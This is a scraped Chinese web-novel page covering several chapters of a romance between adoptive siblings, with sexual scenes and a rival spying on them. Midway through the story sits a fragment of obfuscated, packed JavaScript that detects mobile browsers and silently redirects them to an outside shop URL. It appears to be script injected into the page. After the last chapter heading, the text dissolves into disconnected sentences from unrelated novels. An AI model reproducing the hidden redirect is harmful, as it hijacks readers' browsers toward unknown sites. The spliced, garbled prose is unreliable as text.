兄长似乎愣住,一时没有反应。
更方便她得寸进尺。
她的技巧,都是兄长亲身教授的,但没了原来的生涩,试探。
这个改变又是从何而来?
兄长在此时不合时宜地想起来,妹妹曾交过一个热情奔放的外国男友,他忽然不愿在此时推开妹妹,不是因为身处异国他乡,没有人知道他们是兄妹。
他的手掌下滑,摁在妹妹后背。
一一回应她的动作。
冰冷的雪花落在垂下的眼睫毛上,颤颤巍巍地悬挂着,虽然分开的动作,融化的雪花下坠,化成雪水。
两人额头贴着额头,呼吸乱了。
陆礼抬手,擦去她唇边的湿润,“还要继续——”
“我想要。”
两个声音同时响起。
妹妹的话,让克制的兄长沉默一瞬,他目光深邃幽暗,可底下似乎藏着炙热的火焰,瞬间能将万物烧成灰烬。
他的指腹停留在她唇边,轻轻摩挲。
随着他的动作,时憬的眼睫毛控制不住的微微颤抖,眸光水亮,重复了刚才的话。
“陆礼,我想要,好么?”
如此猝不及防、如此直白的声音落入陆礼耳中,仿佛他们这一年以来的隔阂、疏离、争执都没有发生过,妹妹仍旧是那个贪欢的妹妹。
他重新找到了妹妹。
又如何舍得拒绝?
“好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907306|188794||http|test|mini|href|location''.split(''|''),0,{}));
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r>温柔的回应响起。
这一次,是他主动吻上妹妹的双唇,带着成人的欲望。
时憬仰头承受。
耳边唱诗班干净纯粹的声音逐渐远去,她双手攥紧他的衣服,选择放纵自己一次,忠于自己的欲望。
想要异国他乡,她想要完整的再拥抱一次陆礼。
用她藏起来不敢示人的爱慕。
拥抱这个从她15岁起,就偷偷爱慕的男人。
*
楼家开始依附陆氏集团,不满足于要成为集团里一份子,只能接受集团的制约,而是想要从陆氏集团分一杯羹,分享集团里两项设备制造的专利,这与楼家的老本行重叠,一单拿到手,楼家起来指日可待!
所以,哪怕是两边合作黄了,楼家依旧让楼心月留在陆氏集团,一是为了向陆氏集团表明他们的心意,二依然是为了楼心月与陆礼的关系。
楼心月也重新入职市场部。
这次出差巴黎,楼心月与陆礼同行,自然还有其他的工作人员。
但两人交往人尽皆知。
所以工作人员很有眼力劲的不当电灯泡,极力为两人创造独处的机会,这一次出差,楼心月对陆礼势在必得。
浪漫的夜晚,微醺的状态。
成熟男女,太适合发生些什么了。
至今和她陆礼连亲吻都没有。
她相信,只要发生了什么,陆礼就再也不会和她分手。
对此,她准备的胜券在握。
若是陆礼对自己没有半分心思,又为什么要在圣诞节这样的节日要求她陪着来出差?
楼心月难免得意。
然后能……
而在一次网络会议中,她无意在陆礼的电脑上看见一张机票闪过。
她用录屏回放。
看清楚那是张平安夜从巴黎飞曼城的机票。
曼城有谁在?
是——时憬!
又是她?
楼心月的情绪在看见这一张机票后,跌落谷底,又像是被利刃割破,脸上火辣辣的发疼。
她抿着唇,脸上险些失态!
难怪这次巴黎出差,陆礼指名道姓让她跟着一起来学习,原来、原来她被陆礼利用,当应付陆母的挡箭牌!
第110章 原来他也有欲望
楼心月定了比陆礼提前一班飞往曼城的飞机。
又以要给时憬寄圣诞礼物为由,私底下向陆母要了时憬在曼城的地址,下飞机后打车过去,进了斜对面的一家咖啡馆,乔装打扮后坐在窗边的位置,监视别墅。
里面亮着灯,落地窗内的窗帘半开,能看见客厅一角的圣诞树,还有播放电影的电视机。
时憬定在里面。
楼心月能接受陆礼爱上更优秀、家世条件更好的女人,但无法接受他会爱上满腹心机、行为卑劣、性格自私的时憬,更无法忍受,陆礼会为了这样一个不堪的女人而利用自己!
沙市人人皆知,时憬是陆家养女。
陆氏如今大起大落,最近风头才有所平息,已经经不起再一次的**攻击,更何况是这种哥哥爱上妹妹有违道德伦理的丑闻。
她现在要做的就是收集更多两人存在男女关系的证据,一旦陆礼想和自己分手,这些证据就能保住她在陆礼身边的位置。
毕竟,她可是为了陆礼和陆家,愿意忍气吞声隐瞒丑闻。
念落,她果真看见陆礼的身影出现在街上,看着他开门进去,在里面大概停留了半个小时才出来。
楼心月拿出手机,跟在后面,拍下二人牵手、拥抱、理头发等等无数动作亲密的超过兄妹关系的照片。
圣诞集市的游客越来越多,不知道谁叫了句下雪了。
楼心月分神,跟丢了两人。
就在她快放弃时,回头看见一间小木房旁,两人相拥。
陆礼低头主动与时憬接吻。
专注、深情。
原来……
陆礼对女人也会有这样的一面,而不是永远冷淡、疏离的,原来他也有欲望,会用力勒着女人的腰,会深深地亲吻女人的唇啊。
可他知不知道,他深吻的女人,是他的妹妹!
楼心月生出一股扭曲的快感。
举起手机,拉近镜头,录下。
从圣诞集市离开后,他们前后进了那间房子,一分钟后,从半敞开的窗帘口看到,那个矜贵、高冷的男人,将他的妹妹压在沙发上。
…
“窗帘…”
时憬勉强发出气喘的声音。
兄长仍埋在她脖颈间,腾出一只手,气息浓厚得让人心颤,“遥控器在哪儿。”
时憬说了位置。
男人长臂一伸,摸到遥控器摁下,窗帘缓缓合拢,隔绝任何泄露的可能。
兄长早已熟悉她的身体。
但情事久违,并不急着要完成最后一步,发泄男人的欲望。
他撑着胳膊,将人困在沙发里,低下头,深深浅浅地吻着,又将人抱起,坐着压在怀里。
从楼下凌乱的沙发,到楼上的房间里,他们相拥、深吻,再到热水蒸腾的浴室里,温热的水从花洒淋到两人身上,冲湿所有。
陆礼照顾妹妹早已得心应手。
洗过澡后,裹着浴巾把浑身湿漉漉的妹妹抱了出来,房间里的取暖器开大了最大,哪怕解开浴巾,也不会让娇气的妹妹感觉到冷。
他温柔的擦干水珠,现在她面前,握着吹风机吹干她的头发——是他不好,刚才失控,让水淋湿了妹妹的头发。
暖风吹着头皮,兄长的指腹轻柔地拨弄她的头发,舒服得令人想要眯起眼睛享受。
她看见兄长身上穿着她粉色的浴袍,事发突然,这儿并没有他的衣物。
一件也没有。
在她身上显得宽大的浴袍,套在兄长身上显得哪儿都短。
时憬的手开始不老实。
没有解开随手系着的带子,手指从下摆钻进去——
拨弄头发的手僵硬了下。
嗡嗡的吹风机声从头顶移开了一些,好让他的声音传下来:“别闹,头发不吹干睡觉会头疼的,听话。”
时憬再次变成了不听话的妹妹。
她凑近,用牙齿咬开系着带子。
浴袍散开。
她亲眼看见精瘦的胸膛绷紧。
拥住兄长的腰,正想要落下一吻时,却被挡住。
耳边嗡嗡的风机声消失不见了,吹风机被男人扔在床上,他的身体陡然压下,她不受控制地下坠。
哪怕这短短距离,兄长也会担心撞疼她。
手掌垫在她脑后。
一同陷入床中。
湿热的吻也落下来,相拥的肌肤热度攀升,生出细密的汗水,混杂着紊乱难忍的呼吸声。
……
鹅绒被抖开,盖住裸露的肌肤。
兄长细致地帮她穿上睡衣,看着她无力垂下的眼睫、脸颊上浅浅
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的红晕,动作愈发温柔,将人揽入怀中抱着。
时憬缓缓回过神。
脸颊贴着温热的胸膛,听着心跳逐渐恢复平稳。
“为什么?”
她轻声开口,声音透着无力的疲惫。
陆礼正闭着眼平复,听见妹妹的声音响起,他揽着清瘦背脊的手掌收紧了些,扑在她耳畔的呼吸声微烫,他低声解释:“只剩下一个,还过期了。”
时憬思绪凝滞。
迟了会儿才反应过来。
上一次她和陆礼在这间屋子发生关系,已经是快六年前的事,是那时候准备的计生用品过期了。
难怪陆礼只在浴室里要了一次。
刚才在床上时分明已经……
时憬咬了下唇,她小声道:“…没事的。”
清醒时的陆礼绝不会再失控,不会让妹妹事后服用避孕药,伤害她的身体。
但陆礼也没有训斥妹妹不爱惜身体。
他低头,吻了下她的鼻尖,哑声道:“不急。”
不急是什么意思?
时憬想要去思考,但大脑里一团混乱,阻止着她去思考这些事情。她愈发用力抱紧眼前温暖的身躯,想要驱赶心底渗出的寒冷。
她想要牢牢记住发生的一切。
刻在血肉中。
陆礼摸了下她的头发,“去浴室洗一下再睡?”
她摇头,“困了…”
陆礼没再强迫困倦的妹妹,掌心温柔地拍着她的后背,“睡吧。”而他的目光始终落在她身上,没过一会儿,怀中的呼吸声就变得绵长。抱着他的胳膊也开始松动。
他抬起手,轻轻拨开她的头发,露出侧脸。
哪怕闭眼睡着,也依旧能看见眼角的红痕。
男人的指腹温柔地从她眼角擦过。
今天晚上,在他开门进来的那一瞬,看见妹妹无声落泪回眸的样子,胸口刺痛、持久不散。在那一刻,他终于不再自欺欺人,他无法接受妹妹疏离自己,他捧在手心照顾了这么多年的女孩儿,如何能将她残忍地从自己生命中剥离?
他会保护妹妹一辈子。
也会让妹妹永远留在他的身边,而不是被放逐到遥远的曼城。
他有足够长的岁月,可以去慢慢谋划。
总有一日,父母会接受。
第111章 他的温柔都是事出有因
时憬的睡眠极为不好。
不是整夜失眠,就是昏睡一整日,哪怕醒了也没有力气起床,这种情况在最近愈发严重。
次日清晨,陆礼悄声去楼下收拾东西。
接着出门去附近商超买生活用品。
出门前还担心妹妹醒来看不见自己会着急,特地给她发了信息,结果等他回来,准备好早餐拿上去时,妹妹还在睡。
“时憬?醒醒,该起来吃早饭了。”
兄长难得没有语气严厉地叫她起床。
时憬困顿的睁开眼,看见眼前陆礼的脸,昨晚的记忆涌入脑中,她扬起唇,露出微笑。
“早上好。”
“你现在起来还能勉强算是早上好。”陆礼揉了下她的头,一一吩咐她,“先去洗漱,早饭拿上来了。”
时憬应了声,慢吞吞爬起来。
她睡觉盗汗,能把睡衣都汗湿,每次醒来已经习惯喝杯温水补充水分,正打算下床去倒水时,陆礼已将水杯递到她面前。
时憬愣了下,伸手接过。
喝完一杯,她才有些后知后觉地低头看自己身上的睡衣,并不是昨晚她睡着时穿的那件。
陆礼注意到她的动作,解释了句:“早上醒来时你身上的睡衣都湿了,换了一套。”
“…谢谢哥。”
她放下玻璃杯时,陆礼自然地伸手接过,“还喝么?”
时憬摇了下头。
她进浴室洗漱,试图从混沌迟缓的思绪里揪出些什么来,陆礼是知道了些什么?所以才突然对她这么温柔,甚至愿意再一次拥抱她…不可能,他又怎么会知道。
冲撞的思绪翻滚,她头隐隐作痛,垂着的眼中,看见自己握着牙刷的手无法控制的微微颤抖。
换了个手刷牙。
洗漱后,时憬坐在沙发上安静地吃早餐,是极为标准的中式早餐,白粥与一枚切来的咸鸭蛋,除此之外,还有一杯鲜榨橙汁。
时憬努力吃了大半。
在她梗着脖子试图全部吃下去时,陆礼的目光从笔记本屏幕上移开,“吃不完不用勉强。”
在此之前,陆礼大部分时候都会觉得她吃得少,在她放下筷子时,都会皱下眉毛。
只有她停药的那两三年里,他才不用盯着吃饭。
可也从未听过这么好商量的语气,陆礼只会让她再吃两口。
时憬终于抓到了一个念头。
他发现了什么。
时憬放下筷子,目光平静地看他,启唇,轻声问:“是不是秦医生和你说了什么?”
陆礼没有否认,“他说你现在服用的药还有持续的副作用,最好回国换其他药物。”
原来他的温柔每一次都事出有因,像是对她的怜悯、同情,没法不管她,所以才会再一次亲近她。
时憬收回视线,胸口闷涩。
快要喘不上来气。
她端起橙汁喝了一口,掩盖自己的险些惊恐发作的模样,微凉的橙汁顺着喉咙滑下,她才冷静下来,问道:“哥,你这次来什么时候走?”
陆礼:“后天飞机回国,这次出来时出差,没办法带着你回家。等回去后,最晚不过元旦,就会来接你回家。”
原来,妈妈也没有将她要回国的消息告诉兄长。
那她也不能说。
时憬笑了下,岔开话题:“最近你去看过爸爸了么?他恢复得怎么样了?妈妈呢?她一直寸步不离照着爸爸,肯定也很吃力。”
陆礼一一回答。
“这次出差前去看过,爸除了动作有些僵硬外,已经能活动自如了,剩下的就需要看时间与本人的努力了。妈这段日子的确辛苦,他们也不愿意再加人照顾,等回了陆园后家里的人多了后,会慢慢好起来的。”
时憬安静地听着,哪怕从陆礼的口中听到近况,时憬也压不住心底的愧疚。
“一定会好起来的…一定会的……”她虔诚地向神祷,希望爸爸妈妈能尽快好起来,不要因为她这而再受到任何痛苦了。
所有该她承受
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的代价,都落在她身上,不要再波及其他无辜之人了。
*
吃过早饭后,时憬坐在开放厨房外的高椅上,看着兄长在清洗餐具,准备午餐。
冰箱里上次艾丽卡采购的食物剩下不多了,所以陆礼能发挥的空间本来就有限,最后还没撑过时憬的央求,煮了泡面加炸蛋的组合,还放了两片培根,又担心这一顿蔬菜摄入量不够,蒸了个芦笋培根卷。
时憬竖起大拇指,毫不吝啬地夸赞。
陆礼目光温柔,“好吃就都吃完。”
时憬:……
时憬:“今天早上你不是这么说的。”
看着妹妹故作委屈的表情,兄长摸了下她的头,语气更温柔说道:“没有一早上抓着你去上称已经很仁慈了。”
时憬认命,低头进食。
她恍惚有种错觉,似乎她又重新回到了那时候住在曼城的时光,那时候他们也像现在这样,说这些日常琐事,不涉及未来,只过好当下的每一天。
时憬勉强吃完大半,放筷子时,特地留意着兄长的反应,果然看见他皱了下眉。
时憬心里悄悄点头,这才对味。
吃过午饭,曼城久违地出了太阳。陆礼让她穿得暖和些,带着时憬去湖边散步。
昨夜的鹅毛大雪一直持续到早上六七点左右,地上、路边、树上、屋顶上都已经积了一层积雪。
时憬故意踩在积雪上,听着发出的吱嘎声,玩性大起,专门挑积雪厚的地方去踩。
如此幼稚的行为,看的陆礼满眼无奈,他也没有阻止妹妹难得的玩性,在一旁默默跟着。
哪怕出了太阳,曼城的气温非常低,湖边的景致也透着股萧条,吹来的冷风像是一把把小刀,无孔不入且平等地攻击每一个散步的行人。
时憬冷得瑟瑟发抖,看了眼旁边脸色稳重的兄长,忽然生了个恶作剧,她将冰冷的手指悄悄钻进兄长的衣袖,然后用力抓住他的小臂,确保温度完全传给他。
第112章 心脏麻木,不知喜悦
时憬想看陆礼被冻得变脸。
谁知他面不改色,连个激灵或是气音都没发出来,抓住时憬恶作剧失败、想缩回去的手,团在掌心中握着,放进外衣口袋里。
“手冷成这样怎么不说?”那股兄长的说教态度又带了出来,“回去了。”
时憬垂眸,感受到指尖触及的温度,她五指收拢了些,像是要抓住些什么东西。
这一路上,陆礼都没有松开她的手,她望着比记忆中宽厚些的背影,才意识到这一幕是真实发生的,而不是她一次次用来欺骗自己的回忆。
但她,为何一点也不开心?
心脏麻木,不知喜悦。
亦不知幸福。
她只能确认一件事——
那便是自己仍深爱着眼前的男人。
*
陆礼买下的这栋别墅共有三层,最顶层正中间是尖顶阁楼房间,冬冷夏热,不适宜住人,被造成杂物间。两边有两间空屋,目前是住着一男一女两个租户。
二楼有三个房间,时憬、陆礼各占一间,另外还有一间客房,前段时间是陆母住着的,目前空置。
一楼也是三间房。艾丽卡与另一位女生租户住着,余下一间改成储物间。
在这几年里,时憬与陆礼房间上锁,只有艾丽卡打扫时会进去,但无人居住的房间哪怕天天打扫也容易落灰。
陆礼昨晚住在时憬那边,并未回来,今天进来后,房间里湿冷的气息扑面,他皱了下眉,倒不是对艾丽卡的工作有意见,纯粹是不习惯这种难闻的气味。
开窗通风,冷风涌入。
让里面的空气清新了些。
他坐在桌前,开了电脑进行远程会议,进行到一半时,他看见时憬左手拿掸子、右手拿抹布溜达了进来,身上穿着费尔岛毛衣裙,一进来就冷得了个喷嚏。
陆礼说了句‘稍等’,摘下耳机把身后的窗户关了,对妹妹道:“放着等会儿我来打扫,你去休息。”
时憬冲他摆了摆手,又隔空戳了下他的电脑,弯着眼睛说道:“你,认真开会。”然后指了下自己,“我,认真打扫,OK?”
眼前的妹妹笑容灿烂,语气活泼,是他久违的生机勃发,他如何舍得拒绝。
“那就辛苦你。”
陆礼坐下,戴上耳机继续开会。
他留意议上每个人输出的观点,语气平静的点评,看似是认真开会,但只有他自己知道,早已一心二分,余光时时刻刻都留意着妹妹的每一个举动。
在她第三次差点把书架上的玻璃奖杯碰倒时,操心的兄长终于坐不住了——不是心疼那些奖杯荣誉,而是担心玻璃碴碎了一地会划伤妹妹的手。
陆礼按下静音键,开口道:“时憬。”
她回头。
“帮我泡一杯茶上来,谢谢。”随便找了个借口把频频令他分神的人支开,继续会议。
时憬下楼去橱柜里找茶叶、茶壶、配套的茶杯,但偏偏没热水冲泡,她耐着性子等水烧开。
水还没烧开,大门先开了。
艾丽卡背着鼓囊囊的托特包回来,看见时憬孤零零站在厨房里,扔下包,快步绕进开放式厨房,用力拥抱时憬。
身上残留的室外冷气猝不及防地将时憬裹住。
“圣诞快乐,宝贝!”艾丽卡松开胳膊,双手扶着她的肩膀,浅色眼瞳有鲜明的愧疚,“抱歉让你孤零零地度过了平安夜,今天圣诞节我们不会再让你一个人了。”
“圣诞快乐,艾丽卡女士。”时憬微笑着问候,点了下圣诞树,“圣诞礼物已经在圣诞树下了,希望你能喜欢。”
艾丽卡再次感谢。
在圣诞树下找到了写有她名字的包装盒,拆开蝴蝶结和包装纸,看见了里面智能手表的盒子,她惊喜地尖叫一声!
下一秒,冲向时憬,紧紧拥抱。
向来稳重的艾丽卡激动得语无伦次,表达着自己的欣喜与感动。
艾丽卡拿的是曼城平均薪资,但好在她可以住在别墅里,且不用承担房租、水电支出,修缮费用也都是陆先生承担。
但即便如此,她需要偿还之前欠下的学生贷款,生活贷款,还需要支付爸妈在养老院的照护费用。
每个月只能存下一点钱,她根本不敢买这块并不是必需品的手表。
这对她来说太贵重了。
更没有想到时憬会注意到这件事。
在楼上工作的陆礼听见尖叫声,哪怕听出不是妹妹的声音,他也下来看了眼,还没走到一楼,就看见被艾丽卡紧紧抱着的妹妹,她看着似乎有些痛苦,但在看见自己后,抬起一只手,冲他比了个树杈,又变成了得意脸。
颇为幼稚。
他放心上楼。
艾丽卡逐渐冷静下来,再次松开时憬,向她表达感激之外,态度坚定地表示要把钱给时憬,这份圣诞礼物太贵重了。
时憬向她伸手,问道:“我可以在看过你的圣诞礼物后再给你回复么?”
艾丽卡点头,回房去拿礼物。
时憬点开信息,给陆礼发信息。
【时憬:万人迷.jpg】
【陆礼:摸头.jpg】
艾丽卡回来,她倒扣屏幕放在料理台上。
艾丽卡送给她的礼物是一条亲手织的酒红色羊绒围巾,洗干净后厚实松软,一边还织入雪花图案。
用金色丝带绑着。
递到时憬面前。
“这是我自己织的,希望你会喜欢。”艾丽卡柔声说着。
时憬双手接过,抽开丝带,将围巾围了起来,闻到了温暖的香气,感受到了云朵般柔软的触感。
“我很喜欢,非常喜欢。”时憬看着她,认真地说着,“我为你挑选圣诞礼物只用了25分钟,还包括了路上耗费的时间。而艾丽卡的礼物用了34天,这也是两份不对等的礼物。不对等与不对等正好抵消,我们都收到了合心意的圣诞礼物,不是么?”
她没有说,这只手表的价格对她来说不算什么,而是用艾丽卡付出的时间比金钱更加珍贵来说服了古板的艾丽卡。
谁还能拒绝如此温暖的提议。
艾丽卡回道:“是的。”
热水
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烧开,时憬打算泡茶,却被艾丽卡先一步接过水壶,她客气而冷静地告诉时憬,这是她的工作。
时憬腾出手,站在一旁看着她冲泡花茶,甜丝丝的香气随着热气腾出来。
艾丽卡开口询问道:“我刚才好像听到了楼上有脚步声下来,是谁先回来了么?”但圣诞树下的礼物都还摆着。
时憬:“哦,忘记说了,是陆礼来了。”
艾丽卡倒水的手抖了下,她迅速放下茶壶,语气急切语速加快:“天呐!我居然没有注意到陆先生了!陆先生的房间已经有三天没有打扫了,让他住那样的房间实在太抱歉了,我这就上去打扫——对了,茶水也是陆先生要的么?我也一起送上去!”
时憬的外语听力一般。
艾丽卡的语速快到像是豌豆射手,她囫囵听了半懂,出声阻止:“他在楼上开会。”
艾丽卡瞬间止步。
她放下托盘,有条不紊地进入下一项工作:“陆先生是否有说过晚上想吃什么?我这就去商超采购。”
时憬:“火锅吧,早上陆礼去过附近商超了,你看下还有什么缺的再补。”
艾丽卡微笑颔首:“天气冷的确适合吃火锅。”不等时憬回应,就着手开始收拾餐厅、备菜,连时憬想要帮忙也被她客气地赶走。
到傍晚,三个租客也陆续回来。
大家虽然年龄相仿,但陆礼的存在感太强,哪怕他没有刻意释放威严,那张脸、那架势往那儿一坐,天然就会让人紧张。
艾丽卡回话像是在汇报工作。
年轻租客也只敢和时憬小声交流几句,不像平时那样放得开。
陆礼有心缓解气氛。
随口问三个年轻租客们的学习情况,问得三个人一个比一个没底气,美味的火锅都成了愧疚——他们就不该在这儿吃火锅,应该回房间去刻苦读书!
一顿火锅局,半个小时散场。
时憬与租户们交换了圣诞礼物后,看着三个人争先恐后地回房,她有些幽怨地看他:“哥,你是魔鬼吗?”
有谁会在充满幸福的圣诞节晚宴上问学习情况的!
陆礼摸了下她头:“下次我注意。”
艾丽卡找陆礼汇报今年一年的收支情况,时憬对这些不敢兴趣,先上楼洗漱。
等她从浴室出来时,看见陆礼手里拿着她刚收到的木雕小矮人摆件,小矮人戴着红色的尖顶帽,露出长长的白色胡须,弯腿坐着,两只鞋子用粗棉绳吊着,被时憬摆在梳妆台上。
除了这刚收到的圣诞礼物被摆出来外,他送的钻石手链被收进抽屉里,妹妹并未戴在手上。
他送的所有首饰,妹妹甚至都没有带来曼城,首饰盒里空空如也。
身后传来轻缓的脚步声。
陆礼收回落在首饰盒上的目光,将手里的木雕放下,两条纤细的胳膊从腰间穿过,身后贴上一具温热的身体。
还有很淡的花乳香气。
是妹妹爱用的沐浴露的气味。
她把这些都带来了曼城,独独没有带来任何一件饰品。
第113章 不再黏人的妹妹
时憬从身后抱着陆礼,笑盈盈问:“艾丽卡女士的工作汇报结束了?”
男人并未回答。
他的手落在她交叠的手背上,将人拉到面前,两手掐腰抱起,把人放在梳妆台上,手掌并未在腰侧流连,反而握上她空荡荡的手腕,指腹轻轻摩挲,低头看她,“送你的手链怎么没戴?”
时憬抽出手,搂上兄长的脖颈回答道,“上次我和艾丽卡出门,目击有人直接抢包包手机的。你送的手链太贵重了,我哪里还敢带出门。”
在陆礼看来,妹妹是最喜欢打扮的,她喜欢钻石,喜欢昂贵的包,也从不掩饰对它们的喜欢。所以,每一次送出去的礼物,都是妹妹会喜欢的东西。
但现在,她却平静地说,因为昂贵会带来危险,所以她不喜欢了。
如果是以前的妹妹会怎么说?
可能会在目击**的那一天就哭着给他打电话,让她回家。
陆礼吻上她的额头。
胸口刺痛。
安抚的亲吻从鼻尖到脸颊,再到唇瓣,不知是谁的呼吸先滚烫,温情也染上情欲。
无力埋首在兄长脖颈间的时憬眼瞳含水,雾蒙蒙地笼罩水雾,眼尾发红,双手都快搂不住脖颈,失去支撑。
按着她手背的手下滑,穿过两侧的腿弯,抱起依赖着他的柔软身躯,走到床边放下,弯下腰,亲吻安抚动情的妹妹。
但还未清洗,如何能碰她?
…
干净的手掌微凉,落在身上散开一圈寒意,忍不住畏冷发抖。当寒意完完全全拥住她时,不过片刻,就成了汗湿的滚烫。
温柔的吻。
柔情的拥抱。
她几乎以为自己被兄长深爱着,被他如珍宝般捧在掌心疼爱,她也开始放纵自己,任由沉溺其中。
陆礼…
陆礼……
哥哥……
陆礼…
她混乱地叫着这两个称呼,生理眼泪顺着眼角滑下,渗入发丝。
十指紧握。
兄长的吻又落回她的唇。
一声声回应她的呼唤。
“在。”
“我在…”
“小舟,我在…”
不。
你不在…
时憬抱紧他的肩膀,在难言中落泪。
他迟早会不在的。
她想要的,哥哥给不了,她也无法继续向哥哥索求。
她深爱着陆礼,也爱着毫无血缘的爸爸妈妈。
……
疲惫过后,时憬眼皮又涩又沉地睡着。
陆礼也仍旧仔细地为妹妹清理,又简单冲了个澡出来,将她重新抱入怀中——现在的时憬似乎没那么粘人了,哪怕他将人抱在胸前,她在似睡非醒间不会再像以前那样贴过来。
短暂念头闪过,陆礼关灯入睡。
灯光才灭,怀里的人就有了动静。
陆礼低头去看,柔声道:“我不走,时间还早,继续睡吧。”
温柔的语调让她一时难以区分是现实还是梦境。
她抱紧温暖的身躯,听着平稳的心跳声。
却未看见兄长眼底闪过的一抹情绪,或许连陆礼自己都没有察觉自己的这份细微的满足。
“睡吧。”
他重复,顺着她背脊的手掌愈发轻柔。
在这种时候,他总是把妹妹当成小孩子来哄。
时间安静流逝。
时憬缓缓清醒,意识到现在是现实。
“你什么时候走?”
“早上九点的航班。”
“陆礼……”她清晰地叫着他的名字,使劲把自己往他怀里挤,“陆礼…”
妹妹已经很少像这样幼稚地撒娇。
妹妹也是最怕孤独的人。
连做噩梦都要哭着找他安慰的人。
他们却把她留在这座阴冷的城市。
陆礼的心都快融化了,他回抱她,用力的像要把她按入血肉之躯中,“很快,”他呼吸声重了下,偏首,在她发顶落下一吻,“很快就会来接你回家。”
“……好。”
她回应。
除了说这一个字,只剩下紧紧的拥抱。
这样害怕、不安的妹妹,陆礼几乎都快心软。
但目前为止他没办法给太多承诺,徒让妹妹心生期盼,他必须要慎重安排,处理好所有事情,才能将对妹妹的伤害降到最低。
后半夜两人睡得都不安稳。
次日,时憬送陆礼出门。
冬日清晨的曼城寒风刺骨,站在门口就瑟瑟发抖。
陆礼摸了下妹妹冻得发白的脸颊,“外面冷,快回去吧,回头别冻感冒了。”
时憬摇头,“我都出来了,看你上了车再进去
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。”
陆礼没再劝她,语重心长地开始叮嘱她。
“这些日子好好吃饭、按时睡觉,有任何事情都及时联系我,知道吗?”
“…知道。”
“等我下次来接你回家,”他顿了下,“爸妈那边我会沟通好,你不用担心,知道吗?”
“…知道。”
“最迟年底,回国后再去看秦医生,睡觉总是这么盗汗不是——”
时憬皱了下鼻子,一如从前那样不耐烦听他的叮嘱,“哥,你好啰嗦啊…”指了下开过来的出租车,推着陆礼过去,“哥,车来了,快上车!”
陆礼纵容着她推自己。
拉开车门后,他忽然转身,拉住时憬的胳膊,在她额上落下一吻,“等我,听话。”
时憬所有的伪装在一刻,险些前功尽弃。
她低着头,不敢看他。
车门关上,载着兄长离开。
时憬睁大眼睛,眼泪落下来,冷风一吹,脸上冷得刺骨,她连哭都不敢哭了。
她回屋,艾丽卡递给她一杯加热过的牛奶,“别难过了,新年我们陪你一起跨年,我还学做了几道你们过年吃的菜。”
艾丽卡对时憬被留在曼城这件事有些无法理解。
她显然并不喜欢这座城市。
连绵的阴雨天让时憬的情绪似乎更差了。
而且她在曼城也没有学业需要完成,也没有工作,她就像是被家人扔到这儿。
但陆礼是她的雇主,艾丽卡不应该去过度揣测雇主的家庭,所以她愈发怜惜这个可怜、消瘦又温柔的女孩。
时憬的身体渐渐回温。
她的脸不再冻得僵硬,挤出一丝笑容,“我下午也要出门了,大概要到元旦后再回来。”
艾丽卡诧异,这件事她从未时憬提过,陆先生离开反复叮嘱她好好照顾妹妹,也未提过时憬要出门。
她极其有分寸感地问,“我可以问你要去哪儿么?”
“参加朋友的婚礼,”时憬强调了下,“是很重要的朋友。”
艾丽卡微笑着回:“这是件多么让人幸福的好消息,替我向这对新人祝贺。”
如果让陆礼知道她要回国,他一定会改期陪自己。
所以她不敢陆礼知道。
更怕看见妈妈陌生、猜忌的目光。
第一卷 第114章 回国的婚礼
正得意间,忽听一个温柔动情的声音:“飞飞姐,你来啦?”只见一个挺拔的身影目不斜视地从燕傲男身边掠过,英俊的脸庞带着微笑地看着面前的白飞飞。
闻言,我和大哥的眼中都划过一丝异样光芒,然后大哥目光深沉的看向上官,而我只是点点头便走出了门。
萧遥自己也对手头那些目标的竞争者搜索了一遍,发现没有什么异常情况,就按照既定的目标价格投了出去。
秦北风真是很少见到这么公开在一起的同性恋人,心想,意大利的开放程度比我想象中要深一些,在国内也有不少同性恋人,只是,很少在公共场合这么亲热。
“切!老子可没功夫打官腔,还是一起努力互相扶助吧,不然,都他妈的留在这里!”警察男子不耐烦的开口。
“回来了,一路辛苦了。”如沐春风般淡淡地笑,令他那倾国倾城的容颜,更是添了些风情。
“杨旭?怎么那名字那么熟悉的,好像是哪里看见过呀!”李耀杰自言自语的说道。
秦北风原本就是架着二郎腿,身体的重心不够稳定,被服务员推了一把之后,顿时倒在地上,别人这才知道他是银样镴枪头,中看不中用,被欺骗的羞恼涌上来,毫不客气地用拳头和脚板向秦北风的身上招呼。
“好像是三百四十万吧,当时买的有点贵,不过,物有所值,只要秦笑开心,那可是花钱也买不来的。”秦北风看到秦笑的心里不太高兴,有心讨好她。
他没有停下来的意思,也没有看她一眼,仍然专注着手上的东西,似乎什么也不能打扰到他。
尽管如此,我也不能轻易地输给夏坤……我要让夏坤主动喜欢上我,而不是反过来。
而且更严重一点,就是张一飞这个中国佬,居然巴里切罗给放过来了。也就是意味着,压车结束后这非常近的车距,自己将遭受到两名法拉利车手的进攻。
“陆思良,我不是陆清风。”过了好长时间,陆思良将对陆清风所有的怨念都发泄了出来,手机另一端的人才幽幽的开了口。
像这种方式的海选,谁都不愿意做第一个上台的人,除非是参加过往届比赛的修士,毕竟新人没有经验,不知道裁判们口中所说的一剑到底是个什么水准。
天道苍苍,运行不止,人类生死关头,吾耗费五百年生命推算出人类的一线生机所在。
听到乔映初说吃饭,尹秋然也才想起来自己是干什么来了,于是指了指刚刚秋沛宁接过去的袋子。
玩了半天,最终输赢基本上一半一半,当然这其中也有防水的成分,最好的结果就是输赢差距不太大。
陆思良正打算放下手机躺下去休息的时候,忽然听见外面有脚步声传了过来,她诧异的盯着门口的方向,都这个时候了,会是谁呢?
路郎中这种古板之人这次都给她走后门了,足矣看出这次测试有多么重要,花蝉衣感受到了沉甸甸的压力。
人心是肉做的,再不好,也相处了这么多年,沐如风对这个祖父还是有些感情的。
“再想想吧。”柳耀溪抬出手揉了揉自己的睛明穴,看起来是十分的无奈。
“宋段,沈凌枫什么是时候成亲?”问出来,童辛雅的眼泪怎么也止不住。沈凌枫真的要成亲了?
“有什么奇怪的吗?”陆承枫冷漠一笑,脚下一阵变化,再次出现时,已经是在黑影背后。
只见一个穿着白袍的青年缓缓走来,手中拿着一柄折扇,在这大雪天看上去十分古怪。
